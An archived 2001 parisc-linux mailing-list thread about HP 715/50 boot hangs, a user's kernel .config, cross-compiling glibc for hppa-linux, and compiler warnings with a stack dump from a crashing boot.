X-Trace: ger.gmane.org 1416619885 15825 80.91.229.3 (22 Nov 2014 01:31:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: n.wies@wanadoo.fr
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 20 16:27:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.linuxcare.com (unknown [216.88.157.131])
	by dsl2.external.hp.com (Postfix) with SMTP id F1D9A4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Feb 2001 16:27:50 -0700 (MST)
Original-Received: (qmail 31034 invoked from network); 20 Feb 2001 23:27:54 -0000
Original-Received: from linuxgate.linuxcare.com (HELO linuxcare.com) (167.216.157.206)
  by smtp.linuxcare.com with SMTP; 20 Feb 2001 23:27:54 -0000
Original-Sender: adevries@dsl2.external.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10310

WIES Nicolas wrote:
> I have an old Apollo, a 715/50 Scorpio with 64Mb Ram and a Tulip in the EISA
> port and my goal is to turn it into a firewall.

It seems very unlikely that's a Tulip chip, since that's a PCI chipset
that can't connect to EISA.  If it's another EISA ethernet chipset,
there's still some WAX work we need to get through.

> But I never have a commplete boot.
> 
> >From the beginnig of the year, I don't remenber exactly when, I have the same
> message with this last lines:
> 
> Entry 00100170 first 00100000 n 5
> 
> Segment 0 load 00100000 size 1453916 mediaptr 0x1000
> Segment 1 load 00264000 size 201128 mediaptr 0x164000
> Segment 2 load 00298000 size 214428 mediaptr 0x196000
> Segment 3 load 002d0000 size 8192 mediaptr 0x1cb000
> Segment 4 load 002fbda8 size 71328 mediaptr 0x1cdda8
> branching to kernel entry point 0x00100170
> 
> And nothing happen.

I've had this too with the exact same machine (without the EISA ethernet
card).  Then I decided to leave it for a LONG time, like 5 minutes, and
it did boot.  Could you try leaving it for something like an hour to see
if you get anything on the console?

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Putting open source to work.




From - Thu Nov 08 21:16:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help wanted on an 715/50 "old Box" 2
Date: Wed, 21 Feb 2001 00:36:35 +0100
Organization: private
Lines: 543
Approved: news@gmane.org
Message-ID: <3A92FF83.E84C7E50@dot.at>
References: <01022023263600.01386@nw>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619885 15828 80.91.229.3 (22 Nov 2014 01:31:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: n.wies@wanadoo.fr
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 20 16:36:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns2.dot.at (dns2.dot.at [212.9.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0DAB34A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Feb 2001 16:36:41 -0700 (MST)
Original-Received: from dot.at (IDENT:plattner@dot-tc01-006.dot.at [212.9.128.46])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id AAA16106;
	Wed, 21 Feb 2001 00:50:02 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10311

The "nothing is happing" ... I know that. But there is something
happening,
but after a long time. On kernels of some days ago, I often have to wait
for
one minute or so, but suddenly the kernel starts printing the well-know
linux kernel style. So try to wait really some minutes....

Cheers
	Christoph P.


WIES Nicolas wrote:
> 
> Hello all,
> 
> First I want to congratulate you for this great job.
> 
> I have an old Apollo, a 715/50 Scorpio with 64Mb Ram and a Tulip in the EISA
> port and my goal is to turn it into a firewall.
> 
> So, since September, every week I upgrade all sources via CVS, and I make a
> kernel and I try to boot. I try via rbootd or from a hard disk, with STI or
> with serial console.
> 
> But I never have a commplete boot.
> 
> >From the beginnig of the year, I don't remenber exactly when, I have the same
> message with this last lines:
> 
> Entry 00100170 first 00100000 n 5
> 
> Segment 0 load 00100000 size 1453916 mediaptr 0x1000
> Segment 1 load 00264000 size 201128 mediaptr 0x164000
> Segment 2 load 00298000 size 214428 mediaptr 0x196000
> Segment 3 load 002d0000 size 8192 mediaptr 0x1cb000
> Segment 4 load 002fbda8 size 71328 mediaptr 0x1cdda8
> branching to kernel entry point 0x00100170
> 
> And nothing happen.
> 
> I don't understand where can be the problem because the kernel start to load,
> according to theses lines, and freeze.
> My configuration is the last nfs-root for booting over the lan, and the
> esiee's fs_hd_sti.tar.gz for booting from the hard disk.
> Both are configure for my lan.
> 
> Message for the esiee team : Can you add a date at your fs_hd_sti.tar.gz?
> Because we can't know how old is it.
> 
> With this message, you will find my .config
> 
> Thanks for the help,
> 
>          Nicolas
> 
> P.S: I remade it because the .config is in a bad format
> 
> .config :
> 
> #
> # Automatically generated by make menuconfig: don't edit
> #
> CONFIG_PARISC32=y
> CONFIG_PARISC=y
> # CONFIG_UID16 is not set
> 
> #
> # Code maturity level options
> #
> CONFIG_EXPERIMENTAL=y
> 
> #
> # Loadable module support
> #
> # CONFIG_MODULES is not set
> 
> #
> # General options
> #
> # CONFIG_SMP is not set
> # CONFIG_KWDB is not set
> CONFIG_GSC=y
> CONFIG_IOMMU_CCIO=y
> CONFIG_GSC_LASI=y
> CONFIG_GSC_WAX=y
> CONFIG_PCI=y
> CONFIG_GSC_DINO=y
> CONFIG_PCI_LBA=y
> CONFIG_WAX_EISA=y
> # CONFIG_SUPERIO is not set
> CONFIG_IOSAPIC=y
> CONFIG_IOMMU_SBA=y
> CONFIG_PCI_NAMES=y
> CONFIG_CHASSIS_LCD_LED=y
> 
> #
> # General setup
> #
> CONFIG_HOTPLUG=y
> CONFIG_NET=y
> CONFIG_SYSVIPC=y
> # CONFIG_BSD_PROCESS_ACCT is not set
> CONFIG_SYSCTL=y
> CONFIG_KCORE_ELF=y
> CONFIG_BINFMT_ELF=y
> CONFIG_BINFMT_SOM=y
> # CONFIG_BINFMT_MISC is not set
> # CONFIG_PM is not set
> 
> #
> # Parallel port support
> #
> CONFIG_PARPORT=y
> # CONFIG_PARPORT_PC is not set
> # CONFIG_PARPORT_AMIGA is not set
> # CONFIG_PARPORT_MFC3 is not set
> # CONFIG_PARPORT_ATARI is not set
> CONFIG_PARPORT_GSC=y
> # CONFIG_PARPORT_SUNBPP is not set
> # CONFIG_PARPORT_OTHER is not set
> # CONFIG_PARPORT_1284 is not set
> 
> #
> # Block devices
> #
> # CONFIG_BLK_DEV_FD is not set
> # CONFIG_BLK_DEV_XD is not set
> # CONFIG_PARIDE is not set
> # CONFIG_BLK_CPQ_DA is not set
> # CONFIG_BLK_CPQ_CISS_DA is not set
> # CONFIG_BLK_DEV_DAC960 is not set
> # CONFIG_BLK_DEV_LOOP is not set
> # CONFIG_BLK_DEV_NBD is not set
> CONFIG_BLK_DEV_RAM=y
> CONFIG_BLK_DEV_RAM_SIZE=4096
> CONFIG_BLK_DEV_INITRD=y
> 
> #
> # Multi-device support (RAID and LVM)
> #
> # CONFIG_MD is not set
> # CONFIG_BLK_DEV_MD is not set
> # CONFIG_MD_LINEAR is not set
> # CONFIG_MD_RAID0 is not set
> # CONFIG_MD_RAID1 is not set
> # CONFIG_MD_RAID5 is not set
> # CONFIG_BLK_DEV_LVM is not set
> # CONFIG_LVM_PROC_FS is not set
> 
> #
> # Networking options
> #
> # CONFIG_PACKET is not set
> # CONFIG_NETLINK is not set
> # CONFIG_NETFILTER is not set
> # CONFIG_FILTER is not set
> CONFIG_UNIX=y
> CONFIG_INET=y
> # CONFIG_IP_MULTICAST is not set
> # CONFIG_IP_ADVANCED_ROUTER is not set
> # CONFIG_IP_PNP is not set
> # CONFIG_NET_IPIP is not set
> # CONFIG_NET_IPGRE is not set
> # CONFIG_INET_ECN is not set
> # CONFIG_SYN_COOKIES is not set
> # CONFIG_IPV6 is not set
> # CONFIG_KHTTPD is not set
> # CONFIG_ATM is not set
> # CONFIG_IPX is not set
> # CONFIG_ATALK is not set
> # CONFIG_DECNET is not set
> # CONFIG_BRIDGE is not set
> # CONFIG_X25 is not set
> # CONFIG_LAPB is not set
> # CONFIG_LLC is not set
> # CONFIG_NET_DIVERT is not set
> # CONFIG_ECONET is not set
> # CONFIG_WAN_ROUTER is not set
> # CONFIG_NET_FASTROUTE is not set
> # CONFIG_NET_HW_FLOWCONTROL is not set
> 
> #
> # QoS and/or fair queueing
> #
> # CONFIG_NET_SCHED is not set
> 
> #
> # SCSI support
> #
> CONFIG_SCSI=y
> CONFIG_BLK_DEV_SD=y
> CONFIG_SD_EXTRA_DEVS=40
> CONFIG_CHR_DEV_ST=y
> # CONFIG_CHR_DEV_OSST is not set
> CONFIG_BLK_DEV_SR=y
> # CONFIG_BLK_DEV_SR_VENDOR is not set
> CONFIG_SR_EXTRA_DEVS=2
> CONFIG_CHR_DEV_SG=y
> # CONFIG_SCSI_DEBUG_QUEUES is not set
> # CONFIG_SCSI_MULTI_LUN is not set
> # CONFIG_SCSI_CONSTANTS is not set
> # CONFIG_SCSI_LOGGING is not set
> 
> #
> # SCSI low-level drivers
> #
> # CONFIG_BLK_DEV_3W_XXXX_RAID is not set
> # CONFIG_SCSI_7000FASST is not set
> # CONFIG_SCSI_ACARD is not set
> # CONFIG_SCSI_AHA152X is not set
> # CONFIG_SCSI_AHA1542 is not set
> # CONFIG_SCSI_AHA1740 is not set
> # CONFIG_SCSI_AIC7XXX is not set
> # CONFIG_SCSI_ADVANSYS is not set
> # CONFIG_SCSI_IN2000 is not set
> # CONFIG_SCSI_AM53C974 is not set
> # CONFIG_SCSI_MEGARAID is not set
> # CONFIG_SCSI_BUSLOGIC is not set
> # CONFIG_SCSI_CPQFCTS is not set
> # CONFIG_SCSI_DMX3191D is not set
> # CONFIG_SCSI_DTC3280 is not set
> # CONFIG_SCSI_EATA is not set
> # CONFIG_SCSI_EATA_DMA is not set
> # CONFIG_SCSI_EATA_PIO is not set
> # CONFIG_SCSI_FUTURE_DOMAIN is not set
> # CONFIG_SCSI_GDTH is not set
> # CONFIG_SCSI_GENERIC_NCR5380 is not set
> CONFIG_SCSI_LASI=y
> CONFIG_SCSI_ZALON=y
> # CONFIG_SCSI_INITIO is not set
> # CONFIG_SCSI_INIA100 is not set
> # CONFIG_SCSI_PPA is not set
> # CONFIG_SCSI_IMM is not set
> # CONFIG_SCSI_NCR53C406A is not set
> # CONFIG_SCSI_NCR53C7xx is not set
> # CONFIG_SCSI_NCR53C8XX is not set
> CONFIG_SCSI_SYM53C8XX=y
> CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
> CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
> CONFIG_SCSI_NCR53C8XX_SYNC=20
> # CONFIG_SCSI_NCR53C8XX_PROFILE is not set
> # CONFIG_SCSI_NCR53C8XX_IOMAPPED is not set
> # CONFIG_SCSI_NCR53C8XX_PQS_PDS is not set
> # CONFIG_SCSI_NCR53C8XX_SYMBIOS_COMPAT is not set
> # CONFIG_SCSI_PAS16 is not set
> # CONFIG_SCSI_PCI2000 is not set
> # CONFIG_SCSI_PCI2220I is not set
> # CONFIG_SCSI_PSI240I is not set
> # CONFIG_SCSI_QLOGIC_FAS is not set
> # CONFIG_SCSI_QLOGIC_ISP is not set
> # CONFIG_SCSI_QLOGIC_FC is not set
> # CONFIG_SCSI_QLOGIC_1280 is not set
> # CONFIG_SCSI_SIM710 is not set
> # CONFIG_SCSI_SYM53C416 is not set
> # CONFIG_SCSI_DC390T is not set
> # CONFIG_SCSI_T128 is not set
> # CONFIG_SCSI_U14_34F is not set
> # CONFIG_SCSI_DEBUG is not set
> 
> #
> # PCMCIA SCSI adapter support
> #
> # CONFIG_SCSI_PCMCIA is not set
> 
> #
> # Network device support
> #
> CONFIG_NETDEVICES=y
> 
> #
> # ARCnet devices
> #
> # CONFIG_ARCNET is not set
> # CONFIG_DUMMY is not set
> # CONFIG_BONDING is not set
> # CONFIG_EQUALIZER is not set
> # CONFIG_TUN is not set
> # CONFIG_NET_SB1000 is not set
> 
> #
> # Ethernet (10 or 100Mbit)
> #
> CONFIG_NET_ETHERNET=y
> CONFIG_LASI_82596=y
> # CONFIG_NET_VENDOR_3COM is not set
> # CONFIG_LANCE is not set
> # CONFIG_NET_VENDOR_SMC is not set
> # CONFIG_NET_VENDOR_RACAL is not set
> # CONFIG_AT1700 is not set
> # CONFIG_DEPCA is not set
> # CONFIG_HP100 is not set
> # CONFIG_NET_ISA is not set
> CONFIG_NET_PCI=y
> # CONFIG_PCNET32 is not set
> # CONFIG_ADAPTEC_STARFIRE is not set
> # CONFIG_APRICOT is not set
> # CONFIG_CS89x0 is not set
> CONFIG_TULIP=y
> # CONFIG_DE4X5 is not set
> # CONFIG_DGRS is not set
> # CONFIG_DM9102 is not set
> # CONFIG_EEPRO100 is not set
> # CONFIG_EEPRO100_PM is not set
> # CONFIG_LNE390 is not set
> # CONFIG_NATSEMI is not set
> # CONFIG_NE2K_PCI is not set
> # CONFIG_NE3210 is not set
> # CONFIG_ES3210 is not set
> # CONFIG_8139TOO is not set
> # CONFIG_RTL8129 is not set
> # CONFIG_SIS900 is not set
> # CONFIG_EPIC100 is not set
> # CONFIG_SUNDANCE is not set
> # CONFIG_TLAN is not set
> # CONFIG_VIA_RHINE is not set
> # CONFIG_WINBOND_840 is not set
> # CONFIG_HAPPYMEAL is not set
> # CONFIG_NET_POCKET is not set
> 
> #
> # Ethernet (1000 Mbit)
> #
> # CONFIG_ACENIC is not set
> # CONFIG_HAMACHI is not set
> # CONFIG_YELLOWFIN is not set
> # CONFIG_SK98LIN is not set
> # CONFIG_FDDI is not set
> # CONFIG_HIPPI is not set
> # CONFIG_PLIP is not set
> # CONFIG_PPP is not set
> # CONFIG_SLIP is not set
> 
> #
> # Wireless LAN (non-hamradio)
> #
> # CONFIG_NET_RADIO is not set
> 
> #
> # Token Ring devices
> #
> # CONFIG_TR is not set
> # CONFIG_NET_FC is not set
> # CONFIG_RCPCI is not set
> # CONFIG_SHAPER is not set
> 
> #
> # Wan interfaces
> #
> # CONFIG_WAN is not set
> 
> #
> # PCMCIA network device support
> #
> # CONFIG_NET_PCMCIA is not set
> 
> #
> # Input core support
> #
> # CONFIG_INPUT is not set
> 
> #
> # Character devices
> #
> CONFIG_VT=y
> CONFIG_VT_CONSOLE=y
> CONFIG_GSC_PS2=y
> CONFIG_HIL=y
> CONFIG_SERIAL=y
> # CONFIG_SERIAL_CONSOLE is not set
> CONFIG_SERIAL_GSC=y
> # CONFIG_SERIAL_EXTENDED is not set
> # CONFIG_SERIAL_NONSTANDARD is not set
> CONFIG_UNIX98_PTYS=y
> CONFIG_UNIX98_PTY_COUNT=256
> CONFIG_PRINTER=y
> # CONFIG_LP_CONSOLE is not set
> # CONFIG_PPDEV is not set
> 
> #
> # I2C support
> #
> # CONFIG_I2C is not set
> 
> #
> # Mice
> #
> # CONFIG_BUSMOUSE is not set
> # CONFIG_MOUSE is not set
> 
> #
> # Joysticks
> #
> # CONFIG_JOYSTICK is not set
> # CONFIG_QIC02_TAPE is not set
> 
> #
> # Watchdog Cards
> #
> # CONFIG_WATCHDOG is not set
> CONFIG_GENRTC=y
> # CONFIG_INTEL_RNG is not set
> # CONFIG_NVRAM is not set
> # CONFIG_RTC is not set
> # CONFIG_DTLK is not set
> # CONFIG_R3964 is not set
> # CONFIG_APPLICOM is not set
> 
> #
> # Ftape, the floppy tape device driver
> #
> # CONFIG_FTAPE is not set
> # CONFIG_AGP is not set
> # CONFIG_DRM is not set
> CONFIG_PCMCIA_SERIAL=y
> 
> #
> # PCMCIA character device support
> #
> # CONFIG_PCMCIA_SERIAL_CS is not set
> 
> #
> # Multimedia devices
> #
> # CONFIG_VIDEO_DEV is not set
> 
> #
> # File systems
> #
> # CONFIG_QUOTA is not set
> # CONFIG_AUTOFS_FS is not set
> # CONFIG_AUTOFS4_FS is not set
> # CONFIG_ADFS_FS is not set
> # CONFIG_ADFS_FS_RW is not set
> # CONFIG_AFFS_FS is not set
> # CONFIG_HFS_FS is not set
> # CONFIG_BFS_FS is not set
> # CONFIG_FAT_FS is not set
> # CONFIG_MSDOS_FS is not set
> # CONFIG_UMSDOS_FS is not set
> # CONFIG_VFAT_FS is not set
> # CONFIG_EFS_FS is not set
> # CONFIG_JFFS_FS is not set
> # CONFIG_CRAMFS is not set
> # CONFIG_RAMFS is not set
> CONFIG_ISO9660_FS=y
> # CONFIG_JOLIET is not set
> # CONFIG_MINIX_FS is not set
> # CONFIG_NTFS_FS is not set
> # CONFIG_NTFS_RW is not set
> # CONFIG_HPFS_FS is not set
> CONFIG_PROC_FS=y
> # CONFIG_DEVFS_FS is not set
> # CONFIG_DEVFS_MOUNT is not set
> # CONFIG_DEVFS_DEBUG is not set
> # CONFIG_DEVPTS_FS is not set
> # CONFIG_QNX4FS_FS is not set
> # CONFIG_QNX4FS_RW is not set
> # CONFIG_ROMFS_FS is not set
> CONFIG_EXT2_FS=y
> # CONFIG_SYSV_FS is not set
> # CONFIG_SYSV_FS_WRITE is not set
> # CONFIG_UDF_FS is not set
> # CONFIG_UDF_RW is not set
> # CONFIG_UFS_FS is not set
> # CONFIG_UFS_FS_WRITE is not set
> 
> #
> # Network File Systems
> #
> # CONFIG_CODA_FS is not set
> CONFIG_NFS_FS=y
> # CONFIG_NFS_V3 is not set
> # CONFIG_ROOT_NFS is not set
> # CONFIG_NFSD is not set
> # CONFIG_NFSD_V3 is not set
> CONFIG_SUNRPC=y
> CONFIG_LOCKD=y
> # CONFIG_SMB_FS is not set
> # CONFIG_NCP_FS is not set
> # CONFIG_NCPFS_PACKET_SIGNING is not set
> # CONFIG_NCPFS_IOCTL_LOCKING is not set
> # CONFIG_NCPFS_STRONG is not set
> # CONFIG_NCPFS_NFS_NS is not set
> # CONFIG_NCPFS_OS2_NS is not set
> # CONFIG_NCPFS_SMALLDOS is not set
> # CONFIG_NCPFS_NLS is not set
> # CONFIG_NCPFS_EXTRAS is not set
> 
> #
> # Partition Types
> #
> # CONFIG_PARTITION_ADVANCED is not set
> CONFIG_MSDOS_PARTITION=y
> # CONFIG_SMB_NLS is not set
> # CONFIG_NLS is not set
> 
> #
> # Console drivers
> #
> 
> #
> # Frame-buffer support
> #
> # CONFIG_FB is not set
> CONFIG_STI_CONSOLE=y
> CONFIG_DUMMY_CONSOLE=y
> CONFIG_DUMMY_CONSOLE=y
> CONFIG_FBCON=y
> # CONFIG_FBCON_FONTWIDTH8_ONLY is not set
> CONFIG_FONT_8x8=y
> CONFIG_FONT_8x16=y
> CONFIG_FONT_6x11=y
> CONFIG_FONT_SUN12x22=y
> 
> #
> # Sound
> #
> # CONFIG_SOUND is not set
> 
> #
> # Kernel hacking
> #
> CONFIG_MAGIC_SYSRQ=y
> 
> --
> Adresse de rponse  / return address :
> 
>         n.wies@wanadoo.fr
> 
> :-)
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:16:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cannot build 02/18/2001 glibc
Date: Wed, 21 Feb 2001 01:10:36 -0500
Lines: 69
Approved: news@gmane.org
Message-ID: <3A935BDC.E2475A98@neuronet.pitt.edu>
References: <Pine.LNX.4.21.0102191946290.23583-100000@front.linuxcare.com.au> 
		  <3A91479E.9C9EB68A@neuronet.pitt.edu> <20010220175938.6DE7B37C9D@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619885 15832 80.91.229.3 (22 Nov 2014 01:31:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:25 +0000 (UTC)
To: PL <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 20 23:10:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp4ve.mailsrvcs.net (smtp4vepub.gte.net [206.46.170.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 237174A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Feb 2001 23:10:38 -0700 (MST)
Original-Received: from neuronet.pitt.edu (adsl-151-201-239-223.pittpa.adsl.bellatlantic.net [151.201.239.223])
	by smtp4ve.mailsrvcs.net (8.9.1/8.9.1) with ESMTP id GAA1502073
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 06:15:43 GMT
Original-Sender: raffo@bellatlantic.net
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10312

Matt Taggart wrote:
> 
> "Rafael E. Herrera" writes...
> 
> > Alan Modra wrote:
> > >
> > > On Mon, 19 Feb 2001, Rafael E. Herrera wrote:
> > >
> > > > checking for assembler line separator... *** You need a newer assembler
> > > > to compile glibc
> > > >[snip]
> > > >  /usr/i486-suse-linux/bin/as -V -Qy -v -o conftest.o conftest.s
> > >
> > > Oops, this is an x86 assembler.
> > >
> > > > The binaries called and the version numbers are shown. Do I need to
> > > > upgrade the assembler or is it a PATH misconfiguration? Thanks.
> > >
> > > You need the hppa-linux assembler installed and available on your PATH.
> >
> > The PATH needs to include both of these entries:
> >
> > PATH=~/palinux/bin:~/palinux/hppa-linux/bin:$PATH
> >
> > I had just first one before.
> 
> No, you don't want hppa-linux/bin in there because then the build will only
> use the cross-compiler and will fail if it needs to build any i386
> binaries(like intermediate build tools etc.). As long as you have --host and
> --build set right then the build will do the right thing.

If I use these to build glibc library:

export MACH=i386-linux
export DEST=~/parisk/palinux
export ROOT=~/parisk
PATH=~/parisk/palinux/bin:$PATH

$ROOT/source/glibc/configure --prefix=$DEST/hppa-linux --build=$MACH \
--host=hppa-linux --target=hppa-linux \
--with-headers=$ROOT/source/linux/include --disable-profile \
--without-cvs --enable-add-ons

I get the same error reported initially. 'configure' does not use/find
the cross compiler. From a previous post, If I use this instead:

HOSTCC=gcc CC=hppa-linux-gcc $ROOT/source/glibc/configure
--prefix=$DEST/hppa-linux --build=$MACH \
--host=hppa-linux --target=hppa-linux \
--with-headers=$ROOT/source/linux/include --disable-profile \
--without-cvs --enable-add-ons

Configure doesn't fail and one can start building. I did not have this
problem a couple of weeks ago when I first tried this, I used snapshots
(from early february, before the newest were available -- they were zero
length) that allowed me to build a kernel image  and boot my machine. I
run into other problems, but I'll post questions about them later if I
still have them with these updated sources.

I've looked briefly at the main configure script and compared it to the
last revision, but cannot figure out why it uses the x86 assembler.
Perhaps the mantainer can resolve this.

Thanks
-- 
     Rafael




From - Thu Nov 08 21:16:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Warnings compiling the CVS kernel
Date: Wed, 21 Feb 2001 02:05:05 -0500
Lines: 184
Approved: news@gmane.org
Message-ID: <3A9368A1.E31D5F93@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619886 15833 80.91.229.3 (22 Nov 2014 01:31:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:26 +0000 (UTC)
To: PL <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 00:05:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp7ve.mailsrvcs.net (smtp7vepub.gte.net [206.46.170.28])
	by dsl2.external.hp.com (Postfix) with ESMTP id 822934A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 00:05:17 -0700 (MST)
Original-Received: from neuronet.pitt.edu (adsl-151-201-239-223.pittpa.adsl.bellatlantic.net [151.201.239.223])
	by smtp7ve.mailsrvcs.net (8.9.1/8.9.1) with ESMTP id HAA1986551
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 07:12:23 GMT
Original-Sender: raffo@bellatlantic.net
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10313

After building the cross-compiler in an x86 machine, I get warning
message like this one for most of the sources when compiling the kernel:

hppa-linux-gcc -D__KERNEL__
-I/usr1/users/raffo/parisk/source/linux/include -Wall
-Wstrict-prototypes -O2 -fomit-frame-pointer -fno-strict-aliasing
-D__linux__ -pipe -fno-strength-reduce -mno-space-regs
-mfast-indirect-calls -mschedule=7200 -mdisable-fpregs
-fno-strict-aliasing -ffunction-sections    -c -o hosts.o hosts.c
In file included from
/usr1/users/raffo/parisk/source/linux/include/linux/fs.h:23,
                 from
/usr1/users/raffo/parisk/source/linux/include/linux/capability.h:17,
                 from
/usr1/users/raffo/parisk/source/linux/include/linux/binfmts.h:5,
                 from
/usr1/users/raffo/parisk/source/linux/include/linux/sched.h:9,
                 from
/usr1/users/raffo/parisk/source/linux/include/linux/blkdev.h:5,
                 from
/usr1/users/raffo/parisk/source/linux/include/linux/blk.h:4,
                 from hosts.c:29:
/usr1/users/raffo/parisk/source/linux/include/linux/string.h:27:
warning: conflicting types for built-in function `strncpy'
/usr1/users/raffo/parisk/source/linux/include/linux/string.h:33:
warning: conflicting types for built-in function `strncat'
/usr1/users/raffo/parisk/source/linux/include/linux/string.h:39:
warning: conflicting types for built-in function `strncmp'
/usr1/users/raffo/parisk/source/linux/include/linux/string.h:61:
warning: conflicting types for built-in function `memset'
/usr1/users/raffo/parisk/source/linux/include/linux/string.h:64:
warning: conflicting types for built-in function `memcpy'
/usr1/users/raffo/parisk/source/linux/include/linux/string.h:73:
warning: conflicting types for built-in function `memcmp'

The compilation succeeds but the boot will crash here:

[...]
POSIX conformance testing by UNIFIX



Dumping Stack from 14000000 to 14000240:

Dumping Stack from 1026e000 to 1026e700:
e000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e020 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e040 00000000 00000000 00000000 0027a000 00000000 00000000 00000000
00000000
e060 00000000 00000000 00000000 0010c848 00000000 00000000 00000000
00000000
e080 0000ff00 00000000 10105c38 14000000 00000000 102cc000 1028060c
13fc8000
e0a0 14000000 14000000 0004000e 10295888 001a5a59 000ff000 f000013c
00000000
e0c0 00000000 08000059 00000004 00000000 10280620 00000002 0000000f
1027b324
e0e0 00000000 00000000 102cc000 10266000 1027b324 04000000 14000240
1027b000
e100 00000006 ffffffff 00000000 00000000 00000000 00000000 00000000
00000000
e120 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e140 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e160 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e180 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e1a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e1c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e1e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e200 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e220 00000000 00000000 101151e8 101151e8 00000000 00000000 00000000
00000000
e240 00000000 00000000 00000000 00000000 0000001d 6fc10080 00000000
14000000
e260 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e280 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e2a0 00000000 00000000 00000000 1010670c 00000000 00000000 00000000
00000000
e2c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e2e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e300 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e320 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e340 00000000 00000000 f0003e5c 00272000 00281000 f0008c98 00000000
00000000
e360 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e380 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
